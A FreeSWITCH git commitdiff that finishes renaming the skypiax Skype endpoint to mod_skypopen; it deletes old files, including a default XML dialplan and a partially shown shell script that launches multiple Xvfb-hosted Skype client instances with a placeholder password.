]> git.ipfire.org Git - thirdparty/freeswitch.git/commitdiff
skypiax: finishing off renaming to mod_skypopen
authorGiovanni Maruzzelli <gmaruzz@gmail.com>
Sun, 14 Mar 2010 23:40:32 +0000 (23:40 +0000)
committerGiovanni Maruzzelli <gmaruzz@gmail.com>
Sun, 14 Mar 2010 23:40:32 +0000 (23:40 +0000)
git-svn-id: http://svn.freeswitch.org/svn/freeswitch/trunk@16991 d0543943-73ff-0310-b7d9-9358b9ac24b2

35 files changed:
src/mod/endpoints/mod_skypopen/README
src/mod/endpoints/mod_skypopen/configs/default.xml [deleted file]
src/mod/endpoints/mod_skypopen/configs/multiple-instance-same-skype-username/multi2.sh [deleted file]
src/mod/endpoints/mod_skypopen/configs/multiple-instance-same-skype-username/skypiax.conf.xml [deleted file]
src/mod/endpoints/mod_skypopen/kernel/README-linux-2.6.24.7 [deleted file]
src/mod/endpoints/mod_skypopen/kernel/config-linux-2.6.24.7-skypiax08D01 [deleted file]
src/mod/endpoints/mod_skypopen/kernel/dummy.c.skypiax [deleted symlink]
src/mod/endpoints/mod_skypopen/mod_skypopen/Makefile.am [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/README [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/alsa/alsa-driver-1.0.20-dummy.c [deleted symlink]
src/mod/endpoints/mod_skypopen/mod_skypopen/alsa/dummy.c [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/Makefile [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/README [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/chan_skypiax.c [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/cyg_no_pthread_kill.c [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/skypiax.conf [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/skypiax.h [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/configs/README.skypopen_auth [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/configs/client.c [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/configs/copy [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/configs/create [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/configs/multiple-instance-same-skype-username/README [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/configs/multiple-instance-same-skype-username/multi.sh [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/configs/multiple-instance-same-skype-username/skypopen.conf.xml [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/configs/skypopen.conf.xml [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/configs/skypopen_auth.c [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/configs/startskype.bat [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/configs/startskype.sh [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/configs/wait.bat [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/configs/windows-service/startskype.cmd [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/configs/windows-service/wait.cmd [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/mod_skypopen.2008.vcproj [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/mod_skypopen.c [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/skypopen.h [deleted file]
src/mod/endpoints/mod_skypopen/mod_skypopen/skypopen_protocol.c [deleted file]

index ca71d53087c285173092d0f42965801cb7b20236..32a9fbe35a44976eb702d434577a650cb9fd7c56 100644 (file)
@@ -3,7 +3,7 @@ Skypopen, Skype Endpoint and Trunk
 All documentation on compiling, using, configuring, 
 tricks and tweaks, possible problems at: 
 
-http://wiki.freeswitch.org/wiki/Skypiax_Skype_Endpoint_and_Trunk
+http://wiki.freeswitch.org/wiki/Mod_skypopen_Skype_Endpoint_and_Trunk
 
 < gmaruzz at gmail dot com >
 
diff --git a/src/mod/endpoints/mod_skypopen/configs/default.xml b/src/mod/endpoints/mod_skypopen/configs/default.xml
deleted file mode 100644 (file)
index 3a8ca4d..0000000
+++ /dev/null
@@ -1,674 +0,0 @@
-<!--
-    NOTICE:
-    
-    This context is usually accessed via authenticated callers on the sip profile on port 5060 
-    or transfered callers from the public context which arrived via the sip profile on port 5080.
-    
-    Authenticated users will use the user_context variable on the user to determine what context
-    they can access.  You can also add a user in the directory with the cidr= attribute acl.conf.xml
-    will build the domains acl using this value.
--->
-
-<?xml version="1.0" encoding="utf-8"?>
-<!-- http://wiki.freeswitch.org/wiki/Dialplan_XML -->
-<include>
-  <context name="default">
-
-    <extension name="unloop">
-      <condition field="${unroll_loops}" expression="^true$"/>
-      <condition field="${sip_looped_call}" expression="^true$">
-       <action application="deflect" data="${destination_number}"/>
-      </condition>
-    </extension>
-
-    <!-- Example of doing things based on time of day. -->
-    <extension name="tod_example" continue="true">
-      <!-- man strftime - M-F, 9AM to 6PM -->
-      <condition field="${strftime(%w)}" expression="^([1-5])$"/>
-      <condition field="${strftime(%H%M)}" expression="^((09|1[0-7])[0-5][0-9]|1800)$">
-       <action application="set" data="open=true"/>
-      </condition>
-    </extension>
-
-    <extension name="global-intercept">
-      <condition field="destination_number" expression="^886$">
-       <action application="answer"/>
-       <action application="intercept" data="${db(select/${domain_name}-last_dial/global)}"/>
-       <action application="sleep" data="2000"/>
-      </condition>
-    </extension>
-
-    <extension name="group-intercept">
-      <condition field="destination_number" expression="^\*8$">
-       <action application="answer"/>
-       <action application="intercept" data="${db(select/${domain_name}-last_dial/${callgroup})}"/>
-       <action application="sleep" data="2000"/>
-      </condition>
-    </extension>
-
-    <extension name="intercept-ext">
-      <condition field="destination_number" expression="^\*\*(\d+)$">
-       <action application="answer"/>
-       <action application="intercept" data="${db(select/${domain_name}-last_dial_ext/$1)}"/>
-       <action application="sleep" data="2000"/>
-      </condition>
-    </extension>
-
-    <extension name="redial">
-      <condition field="destination_number" expression="^870$">
-       <action application="transfer" data="${db(select/${domain_name}-last_dial/${caller_id_number})}"/>
-      </condition>
-    </extension>
-
-    <extension name="global" continue="true">
-      <condition field="${network_addr}" expression="^$" break="never">
-       <action application="set" data="use_profile=${cond(${acl($${local_ip_v4} rfc1918)} == true ? nat : default)}"/>
-       <anti-action application="set" data="use_profile=${cond(${acl(${network_addr} rfc1918)} == true ? nat : default)}"/>
-      </condition>
-      <!-- This will setup some variables if the user isn't authenticated. -->
-      <condition field="${numbering_plan}" expression="^$" break="never">
-       <action application="set_user" data="default@${domain_name}"/>
-      </condition>
-      <condition field="${call_debug}" expression="^true$" break="never">
-       <action application="info"/>
-      </condition>
-      <!--
-         This is an example of how to auto detect if telephone-event is missing and activate inband detection 
-      -->
-      <!--
-      <condition field="${switch_r_sdp}" expression="a=rtpmap:(\d+)\stelephone-event/8000" break="never">
-       <action application="set" data="rtp_payload_number=$1"/>
-       <anti-action application="start_dtmf"/>
-      </condition>
-      -->
-      <condition field="${sip_has_crypto}" expression="^(AES_CM_128_HMAC_SHA1_32|AES_CM_128_HMAC_SHA1_80)$" break="never">
-       <action application="set" data="sip_secure_media=true"/>
-       <!-- Offer SRTP on outbound legs if we have it on inbound. -->
-       <!-- <action application="export" data="sip_secure_media=true"/> -->
-      </condition>
-      <condition>
-       <action application="db" data="insert/${domain_name}-spymap/${caller_id_number}/${uuid}"/>
-       <action application="db" data="insert/${domain_name}-last_dial/${caller_id_number}/${destination_number}"/>
-       <action application="db" data="insert/${domain_name}-last_dial/global/${uuid}"/>
-      </condition>
-    </extension>
-
-    <!-- If sip_req_host is not a local domain then this has to be an external sip uri -->
-    <!--
-    <extension name="external_sip_uri" continue="true">
-      <condition field="source" expression="mod_sofia"/>
-      <condition field="${outside_call}" expression="^$"/>
-      <condition field="${domain_exists(${sip_req_host})}" expression="true">
-       <anti-action application="bridge" data="sofia/${use_profile}/${sip_to_uri}"/>
-      </condition>
-    </extension>
-    -->
-    <!--
-       snom button demo, call 9000 to make button 2 mapped to transfer the current call to a conference
-    -->
-
-    <extension name="snom-demo-2">
-      <condition field="destination_number" expression="^9001$">
-       <action application="eval" data="${snom_bind_key(2 off DND ${sip_from_user} ${sip_from_host} ${sofia_profile_name} message notused)}"/>
-       <action application="transfer" data="3000"/>
-      </condition>
-    </extension>
-    
-    <extension name="snom-demo-1">
-      <condition field="destination_number" expression="^9000$">
-       <!--<key> <light> <label> <user> <host> <profile> <action_name> <action>-->
-       <action application="eval" data="${snom_bind_key(2 on DND ${sip_from_user} ${sip_from_host} ${sofia_profile_name} message api+uuid_transfer ${uuid} 9001)}"/>
-       <action application="playback" data="$${hold_music}"/>
-      </condition>
-    </extension>
-
-    <extension name="eavesdrop">
-      <condition field="destination_number" expression="^88(.*)$|^\*0(.*)$">
-       <action application="answer"/>
-       <action application="eavesdrop" data="${db(select/${domain_name}-spymap/$1)}"/>
-      </condition>
-    </extension>
-
-    <extension name="eavesdrop">
-      <condition field="destination_number" expression="^779$">
-       <action application="answer"/>
-       <action application="set" data="eavesdrop_indicate_failed=tone_stream://%(500, 0, 320)"/>
-       <action application="set" data="eavesdrop_indicate_new=tone_stream://%(500, 0, 620)"/>
-       <action application="set" data="eavesdrop_indicate_idle=tone_stream://%(250, 0, 920)"/>
-       <action application="eavesdrop" data="all"/>
-      </condition>
-    </extension>
-
-    <extension name="call_return">
-      <condition field="destination_number" expression="^\*69$|^869$|^lcr$">
-       <action application="transfer" data="${db(select/${domain_name}-call_return/${caller_id_number})}"/>
-      </condition>
-    </extension>
-
-    <extension name="del-group">
-      <condition field="destination_number" expression="^80(\d{2})$">
-       <action application="answer"/>
-       <action application="group" data="delete:$1@${domain_name}:${sofia_contact(${sip_from_user}@${domain_name})}"/>
-       <action application="gentones" data="%(1000, 0, 320)"/>
-      </condition>
-    </extension>
-
-    <extension name="add-group">
-      <condition field="destination_number" expression="^81(\d{2})$">
-       <action application="answer"/>
-       <action application="group" data="insert:$1@${domain_name}:${sofia_contact(${sip_from_user}@${domain_name})}"/>
-       <action application="gentones" data="%(1000, 0, 640)"/>
-      </condition>
-    </extension>
-
-    <extension name="call-group-simo">
-      <condition field="destination_number" expression="^82(\d{2})$">
-       <action application="bridge" data="{ignore_early_media=true}${group(call:$1@${domain_name})}"/>
-      </condition>
-    </extension>
-
-    <extension name="call-group-order">
-      <condition field="destination_number" expression="^83(\d{2})$">
-       <action application="set" data="call_timeout=10"/>
-       <action application="bridge" data="{ignore_early_media=true}${group(call:$1@${domain_name}:order)}"/>
-      </condition>
-    </extension>
-
-    <extension name="extension-intercom">
-      <condition field="destination_number" expression="^8(10[01][0-9])$">
-       <action application="set" data="dialed_extension=$1"/>
-       <action application="export" data="sip_auto_answer=true"/>
-       <action application="bridge" data="user/${dialed_extension}@${domain_name}"/>
-      </condition>
-    </extension>
-
-    <!-- 
-        if the calling party is the called party, go to their VM
-        if the calling party is NOT the called party dial the extension 
-        (1000-1019) for 30 seconds and go to voicemail if the 
-        call fails (continue_on_fail=true), otherwise hang up after a 
-        successful bridge (hangup_after-bridge=true) 
-    -->
-    <extension name="Local_Extension">
-      <condition field="destination_number" expression="^(10[01][0-9])$">
-       <action application="set" data="dialed_extension=$1"/>
-       <action application="export" data="dialed_extension=$1"/>
-       <!-- bind_meta_app can have these args <key> [a|b|ab] [a|b|o|s] <app> -->
-       <action application="bind_meta_app" data="1 b s execute_extension::dx XML features"/>
-       <action application="bind_meta_app" data="2 b s record_session::$${recordings_dir}/${caller_id_number}.${strftime(%Y-%m-%d-%H-%M-%S)}.wav"/>
-       <action application="bind_meta_app" data="3 b s execute_extension::cf XML features"/>
-       <action application="set" data="ringback=${us-ring}"/>
-       <action application="set" data="transfer_ringback=$${hold_music}"/>
-       <action application="set" data="call_timeout=30"/>
-       <!-- <action application="set" data="sip_exclude_contact=${network_addr}"/> -->
-       <action application="set" data="hangup_after_bridge=true"/>
-       <!--<action application="set" data="continue_on_fail=NORMAL_TEMPORARY_FAILURE,USER_BUSY,NO_ANSWER,TIMEOUT,NO_ROUTE_DESTINATION"/> -->
-       <action application="set" data="continue_on_fail=true"/>
-       <action application="db" data="insert/${domain_name}-call_return/${dialed_extension}/${caller_id_number}"/>
-       <action application="db" data="insert/${domain_name}-last_dial_ext/${dialed_extension}/${uuid}"/>
-       <action application="set" data="called_party_callgroup=${user_data(${dialed_extension}@${domain_name} var callgroup)}"/>
-       <!--<action application="export" data="nolocal:sip_secure_media=${user_data(${dialed_extension}@${domain_name} var sip_secure_media)}"/>-->
-       <action application="db" data="insert/${domain_name}-last_dial/${called_party_callgroup}/${uuid}"/>
-       <action application="bridge" data="user/${dialed_extension}@${domain_name}"/>
-       <action application="answer"/>
-       <action application="sleep" data="1000"/>
-       <action application="voicemail" data="default ${domain_name} ${dialed_extension}"/>
-      </condition>
-    </extension>
-
-    <extension name="group_dial_sales">
-      <condition field="destination_number" expression="^2000$">
-       <action application="bridge" data="${group_call(sales@${domain_name})}"/>
-      </condition>
-    </extension>
-
-    <extension name="group_dial_support">
-      <condition field="destination_number" expression="^2001$">
-       <action application="bridge" data="group/support@${domain_name}"/>
-      </condition>
-    </extension>
-
-    <extension name="group_dial_billing">
-      <condition field="destination_number" expression="^2002$">
-       <action application="bridge" data="group/billing@${domain_name}"/>
-      </condition>
-    </extension>
-
-    <!-- voicemail operator extension -->
-    <extension name="operator">
-      <condition field="destination_number" expression="^operator$|^0$">
-       <action application="set" data="transfer_ringback=$${hold_music}"/>
-       <action application="transfer" data="1000 XML features"/>
-      </condition>
-    </extension>
-
-    <!-- voicemail main extension -->
-    <extension name="vmain">
-      <condition field="destination_number" expression="^vmain|4000|\*98$">
-       <action application="answer"/>
-       <action application="sleep" data="1000"/>
-       <action application="voicemail" data="check default ${domain_name}"/>  
-      </condition>
-    </extension>
-
-    <!-- dial via SIP uri -->
-    <extension name="sip_uri">
-      <condition field="destination_number" expression="^sip:(.*)$">
-       <action application="bridge" data="sofia/${use_profile}/$1"/>
-      </condition>
-    </extension>
-
-    <!-- dial via skypiax -->
-    <extension name="skypiax">
-      <condition field="destination_number" expression="^2909$">
-       <action application="bridge" data="skypiax/interface1/echo123"/>
-      </condition>
-    </extension>
-
-    <!-- dial via skypiax ANY interface -->
-    <extension name="skypiax">
-      <condition field="destination_number" expression="^2908$">
-       <action application="bridge" data="skypiax/ANY/echo123"/>
-      </condition>
-    </extension>
-    <!-- dial via SKYPE uri with skypiax ANY interface-->
-    <extension name="skype_uri">
-      <condition field="destination_number" expression="^skype/(.*)$">
-       <action application="bridge" data="skypiax/ANY/$1"/>
-      </condition>
-    </extension>
-
-
-    <!--
-       start a dynamic conference with the settings of the "default" conference profile in conference.conf.xml
-    -->                                                                                                                                                       
-    <extension name="nb_conferences">
-      <condition field="destination_number" expression="^(30\d{2})$">
-       <action application="answer"/>
-       <action application="conference" data="$1-${domain_name}@default"/>
-      </condition>
-    </extension>
-
-    <extension name="wb_conferences">
-      <condition field="destination_number" expression="^(31\d{2})$">
-       <action application="answer"/>
-       <action application="conference" data="$1-${domain_name}@wideband"/>
-      </condition>
-    </extension>
-
-    <extension name="uwb_conferences">
-      <condition field="destination_number" expression="^(32\d{2})$">
-       <action application="answer"/>
-       <action application="conference" data="$1-${domain_name}@ultrawideband"/>
-      </condition>
-    </extension>
-    <!-- MONO 48kHz conferences -->
-    <extension name="cdquality_conferences">
-      <condition field="destination_number" expression="^(33\d{2})$">
-       <action application="answer"/>
-       <action application="conference" data="$1-${domain_name}@cdquality"/>
-      </condition>
-    </extension>
-    
-    <!-- dial the freeswitch conference via SIP-->
-    <extension name="freeswitch_public_conf_via_sip">
-      <condition field="destination_number" expression="^9(888|1616|3232)$">
-       <action application="export" data="hold_music=silence"/>
-       <action application="bridge" data="sofia/${use_profile}/$1@conference.freeswitch.org"/>
-      </condition>
-    </extension>
-
-    <!--
-       This extension will start a conference and invite a group.
-       At anytime the participant can dial *2 to bridge directly to the boss. 
-       All other callers are then hung up on.
-    -->
-    <extension name="mad_boss_intercom">
-      <condition field="destination_number" expression="^0911$">
-       <action application="set" data="conference_auto_outcall_caller_id_name=Mad Boss1"/>
-       <action application="set" data="conference_auto_outcall_caller_id_number=0911"/>
-       <action application="set" data="conference_auto_outcall_timeout=60"/>
-       <action application="set" data="conference_auto_outcall_flags=mute"/>
-       <action application="set" data="conference_auto_outcall_prefix={sip_auto_answer=true,execute_on_answer='bind_meta_app 2 a s1 transfer::intercept:${uuid} inline'}"/>
-       <action application="set" data="sip_exclude_contact=${network_addr}"/>
-       <action application="conference_set_auto_outcall" data="${group_call(sales)}"/>
-       <action application="conference" data="madboss_intercom1@default+flags{endconf|deaf}"/>
-      </condition>
-    </extension>
-
-    <!--
-       This extension will start a conference and invite a few of people.
-       At anytime the participant can dial *2 to bridge directly to the boss. 
-       All other callers are then hung up on.
-    -->
-    <extension name="mad_boss_intercom">
-      <condition field="destination_number" expression="^0912$">
-       <action application="set" data="conference_auto_outcall_caller_id_name=Mad Boss2"/>
-       <action application="set" data="conference_auto_outcall_caller_id_number=0912"/>
-       <action application="set" data="conference_auto_outcall_timeout=60"/>
-       <action application="set" data="conference_auto_outcall_flags=mute"/>
-       <action application="set" data="conference_auto_outcall_prefix={sip_auto_answer=true,execute_on_answer='bind_meta_app 2 a s1 transfer::intercept:${uuid} inline'}"/>
-       <action application="set" data="sip_exclude_contact=${network_addr}"/>
-       <action application="conference_set_auto_outcall" data="loopback/9999"/>
-       <action application="conference" data="madboss_intercom2@default+flags{endconf|deaf}"/>
-      </condition>
-    </extension>
-
-    <!--This extension will start a conference and invite several people upon entering -->
-    <extension name="mad_boss">
-      <condition field="destination_number" expression="^0913$">
-       <!--These params effect the outcalls made once you join-->
-       <action application="set" data="conference_auto_outcall_caller_id_name=Mad Boss"/>
-       <action application="set" data="conference_auto_outcall_caller_id_number=0911"/>
-       <action application="set" data="conference_auto_outcall_timeout=60"/>
-       <action application="set" data="conference_auto_outcall_flags=none"/>
-       <!--<action application="set" data="conference_auto_outcall_announce=say:You have been called into an emergency conference"/>-->
-       <!--Add as many of these as you need, These are the people you are going to call-->
-       <action application="conference_set_auto_outcall" data="loopback/9999"/>
-       <action application="conference" data="madboss3@default"/>
-      </condition>
-    </extension>
-
-    <!-- a sample IVR  -->
-    <extension name="ivr_demo">
-      <condition field="destination_number" expression="^5000$">
-        <action application="answer"/>
-        <action application="sleep" data="2000"/>
-       <action application="ivr" data="demo_ivr"/>
-      </condition>
-    </extension>
-
-    <!-- Create a conference on the fly and pull someone in at the same time. --> 
-    <extension name="dyanmic conference">
-      <condition field="destination_number" expression="^5001$">
-       <action application="conference" data="bridge:mydynaconf:sofia/${use_profile}/1234@conference.freeswitch.org"/>
-      </condition>
-    </extension>
-
-    <extension name="rtp_multicast_page">
-      <condition field="destination_number" expression="^pagegroup$|^7243">
-       <action application="answer"/>
-       <action application="esf_page_group"/>
-      </condition>
-    </extension>
-
-    <!-- 
-        Parking extensions... transferring calls to 5900 will park them in a queue.
-    -->
-    <extension name="park">
-      <condition field="destination_number" expression="^5900$">
-       <action application="set" data="fifo_music=$${hold_music}"/>
-       <action application="fifo" data="5900@${domain_name} in"/>
-      </condition>
-    </extension>
-
-    <!-- 
-        Parking pickup extension.  Calling 5901 will pickup the call.
-    -->
-    <extension name="unpark">
-      <condition field="destination_number" expression="^5901$">
-       <action application="answer"/>
-       <action application="fifo" data="5900@${domain_name} out nowait"/>
-      </condition>
-    </extension>
-
-    <!--
-       This extension is used with snom phones.  
-       
-       Set a function key to park+lot (lot being a number or name.)
-       Set type to Park+Orbit.  You can then park and pickup using 
-       the softkey on the phone.  Should work with other phones.
-    -->
-    <extension name="park">
-      <condition field="source" expression="mod_sofia"/>
-      <condition field="destination_number" expression="park\+(\d+)">
-       <action application="fifo" data="$1@${domain_name} in undef $${hold_music}"/>
-      </condition>
-    </extension> 
-    <!--
-       The extension is parking pickup with a to param of the fifo we are calling 
-       Some phones send things like orbit= and you can extract that info.
-    -->
-    <extension name="unpark">
-      <condition field="source" expression="mod_sofia"/>
-      <condition field="destination_number" expression="^parking$"/>
-      <condition field="${sip_to_params}" expression="fifo\=(\d+)">
-       <action application="answer"/>
-       <action application="fifo" data="$1@${domain_name} out nowait"/>
-      </condition>
-    </extension>
-
-    <!--
-       This extension is used with linksys phones.
-
-       Set a Phone tab option Call Park Serv to yes. You can park and
-       pickup using soft keys "park" and "unpark" found during
-       active call when moving navigation button. The other option
-       is to use phone's star codes (defaults to *38 and *39).
-    -->
-    <extension name="park">
-      <condition field="source" expression="mod_sofia"/>
-      <condition field="destination_number" expression="callpark"/>
-      <condition field="${sip_refer_to}">
-       <expression><![CDATA[<sip:callpark@${domain_name};orbit=(\d+)>]]></expression>
-       <action application="fifo" data="$1@${domain_name} in undef $${hold_music}"/>
-      </condition>
-    </extension>
-    
-    <!--
-       This extension is used with linksys phones.
-
-       The extension is parking pickup with a to param of the fifo
-       we are calling. Linksys sends orbit=<parkingslotnumber>
-       and we extract that info.
-    -->
-    <extension name="unpark">
-      <condition field="source" expression="mod_sofia"/>
-      <condition field="destination_number" expression="pickup"/>
-      <condition field="${sip_to_params}" expression="orbit\=(\d+)">
-       <action application="answer"/>
-       <action application="fifo" data="$1@${domain_name} out nowait"/>
-       </condition>
-    </extension>
-
-    <!--
-       Here are some examples of how to override the ringback heard by the
-       far end.  You have two variables that you can use to override this.
-       
-       ringback          - used when a call isn't answered. (early media)
-       transfer_ringback - used when the call is already answered. (post answer)
-    -->
-
-    <!-- Demonstration of how to override the ringback in various situations -->
-    <extension name="wait">
-      <condition field="destination_number" expression="^wait$">
-       <action application="pre_answer"/>
-       <action application="sleep" data="20000"/>
-       <action application="answer"/>
-       <action application="sleep" data="1000"/>
-       <action application="playback" data="voicemail/vm-goodbye.wav"/>
-       <action application="hangup"/>
-      </condition>
-    </extension>
-    
-    <extension name="fax_receive">
-      <condition field="destination_number" expression="^9978$">
-       <action application="answer" />
-       <action application="playback" data="silence_stream://2000"/>
-       <action application="rxfax" data="/tmp/rxfax.tif"/>
-       <action application="hangup"/>
-      </condition>
-    </extension>
-
-    <extension name="fax_transmit">
-      <condition field="destination_number" expression="^9979$">
-       <action application="txfax" data="/tmp/txfax.tif"/>
-       <action application="hangup"/>
-      </condition>
-    </extension>
-
-    <!-- Send a 180 and let the far end generate ringback. -->
-    <extension name="ringback_180">
-      <condition field="destination_number" expression="^9980$">
-       <action application="ring_ready"/>
-       <action application="sleep" data="20000"/>
-       <action application="answer"/>
-       <action application="sleep" data="1000"/>
-       <action application="playback" data="voicemail/vm-goodbye.wav"/>
-       <action application="hangup"/>
-      </condition>
-    </extension>
-
-    <!-- Send a 183 and send uk-ring as the ringtone. (early media) -->
-    <extension name="ringback_183_uk_ring">
-      <condition field="destination_number" expression="^9981$">
-       <action application="set" data="ringback=$${uk-ring}"/>
-       <action application="bridge" data="loopback/wait"/>
-      </condition>
-    </extension>
-
-    <!-- Send a 183 and use music as the ringtone. (early media) -->
-    <extension name="ringback_183_music_ring">
-      <condition field="destination_number" expression="^9982$">
-       <action application="set" data="ringback=$${hold_music}"/>
-       <action application="bridge" data="loopback/wait"/>
-      </condition>
-    </extension>
-
-    <!-- Answer the call and use music as the ringtone. (post answer) -->
-    <extension name="ringback_post_answer_uk_ring">
-      <condition field="destination_number" expression="^9983$">
-       <action application="set" data="transfer_ringback=$${uk-ring}"/>
-       <action application="answer"/>
-       <action application="bridge" data="loopback/wait"/>
-      </condition>
-    </extension>
-
-    <!-- Answer the call and use music as the ringtone. (post answer) -->
-    <extension name="ringback_post_answer_music">
-      <condition field="destination_number" expression="^9984$">
-       <action application="set" data="transfer_ringback=$${hold_music}"/>
-       <action application="answer"/>
-       <action application="bridge" data="loopback/wait"/>
-      </condition>
-    </extension>
-
-    <extension name="show_info">
-      <condition field="destination_number" expression="^9992$">
-       <action application="answer"/>
-       <action application="info"/>
-       <action application="sleep" data="250"/>
-       <action application="hangup"/>
-      </condition>
-    </extension>
-
-    <extension name="video_record">
-      <condition field="destination_number" expression="^9993$">
-       <action application="answer"/>
-       <action application="record_fsv" data="/tmp/testrecord.fsv"/>
-      </condition>
-    </extension>
-
-    <extension name="video_playback">
-      <condition field="destination_number" expression="^9994$">
-       <action application="answer"/>
-       <action application="play_fsv" data="/tmp/testrecord.fsv"/>
-      </condition>
-    </extension>
-
-    <extension name="delay_echo">
-      <condition field="destination_number" expression="^9995$">
-       <action application="answer"/>
-       <action application="delay_echo" data="5000"/>
-      </condition>
-    </extension>
-
-    <extension name="echo">
-      <condition field="destination_number" expression="^9996$">
-       <action application="answer"/>
-       <action application="echo"/>
-      </condition>
-    </extension>
-
-    <extension name="milliwatt">
-      <condition field="destination_number" expression="^9997$">
-       <action application="answer"/>
-       <action application="playback" data="tone_stream://%(10000,0,1004);loops=-1"/>
-      </condition>
-    </extension>
-
-    <extension name="tone_stream">
-      <condition field="destination_number" expression="^9998$">
-       <action application="answer"/>
-       <action application="playback" data="tone_stream://path=${base_dir}/conf/tetris.ttml;loops=10"/>
-      </condition>
-    </extension>
-
-    <!--
-       You will no longer hear the bong tone.  The wav file is playing stating the call is secure.
-       The file will not play unless you have both TLS and SRTP active.
-    -->
-
-    <extension name="hold_music">
-      <condition field="destination_number" expression="^9999$"/>
-      <condition field="${sip_has_crypto}" expression="^(AES_CM_128_HMAC_SHA1_32|AES_CM_128_HMAC_SHA1_80)$">
-       <action application="answer"/>
-       <action application="execute_extension" data="is_secure XML features"/>
-       <action application="playback" data="$${hold_music}"/>
-       <anti-action application="answer"/>
-       <anti-action application="playback" data="$${hold_music}"/>
-      </condition>
-    </extension>
-
-    <!--
-       You can place files in the default directory to get included.
-    -->
-    <X-PRE-PROCESS cmd="include" data="default/*.xml"/>
-    
-    <!--
-       WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING
-       
-       Anything you put below this line will usually get ignored due to the file in 
-       default/99999_enum.xml as it will transfer the call to the enum dialplan.
-
-       WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING
-    -->
-
-    <!--
-    <extension name="refer">
-      <condition field="${sip_refer_to}">
-       <expression><![CDATA[<sip:${destination_number}@${domain_name}>]]></expression>
-      </condition>
-      <condition field="${sip_refer_to}">
-       <expression><![CDATA[<sip:(.*)@(.*)>]]></expression>
-       <action application="set" data="refer_user=$1"/>
-       <action application="set" data="refer_domain=$2"/>
-       <action application="info"/>
-       <action application="bridge" data="sofia/${use_profile}/${refer_user}@${refer_domain}"/>
-      </condition>
-    </extension>
-    -->
-    <!--
-       This is an example of how to override the RURI on an outgoing invite to a registered contact.
-    -->
-    <!--
-    <extension name="ruri">
-      <condition field="destination_number" expression="^ruri$">
-       <action application="bridge" data="sofia/${ruri_profile}/${ruri_user}${regex(${sofia_contact(${ruri_contact})}|^[^\@]+(.*)|%1)}"/>
-      </condition>
-    </extension>
-    
-    <extension name="7004">
-      <condition field="destination_number" expression="^7004$">
-       <action application="set" data="ruri_profile=default"/>
-       <action application="set" data="ruri_user=2000"/>
-       <action application="set" data="ruri_contact=1001@${domain_name}"/>
-       <action application="execute_extension" data="ruri"/>
-      </condition>
-    </extension>
-    -->
-
-    <!-- SEE WARNING ABOVE IF YOU ARE TRYING TO ADD EXTENSIONS HERE! -->
-
-  </context>
-</include>
diff --git a/src/mod/endpoints/mod_skypopen/configs/multiple-instance-same-skype-username/multi2.sh b/src/mod/endpoints/mod_skypopen/configs/multiple-instance-same-skype-username/multi2.sh
deleted file mode 100755 (executable)
index 5db06d4..0000000
+++ /dev/null
@@ -1,135 +0,0 @@
-
-#start the fake X server on a given port
- /usr/bin/Xvfb :121 -ac &
-sleep 3
-
-# start a Skype client instance that will connect to the X server above, and will login to the Skype network using the 'username password' you send to it on stdin. Here xxxx would be the password and skypiax2 the username
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:121  /usr/bin/skype --dbpath=/root/multi/skypiax121 --pipelogin &"
-
-
-sleep 7
-
-
- /usr/bin/Xvfb :122 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:122  /usr/bin/skype --dbpath=/root/multi/skypiax122 --pipelogin &"
-
-sleep 7
-
-
-#################################################################
-# Following X server Skype client instances are commented out
-#################################################################
- /usr/bin/Xvfb :123 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:123  /usr/bin/skype --dbpath=/root/multi/skypiax123 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :124 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:124  /usr/bin/skype --dbpath=/root/multi/skypiax124 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :125 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:125  /usr/bin/skype --dbpath=/root/multi/skypiax125 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :126 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:126  /usr/bin/skype --dbpath=/root/multi/skypiax126 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :127 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:127  /usr/bin/skype --dbpath=/root/multi/skypiax127 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :128 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:128  /usr/bin/skype --dbpath=/root/multi/skypiax128 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :129 -ac & 
-sleep 3
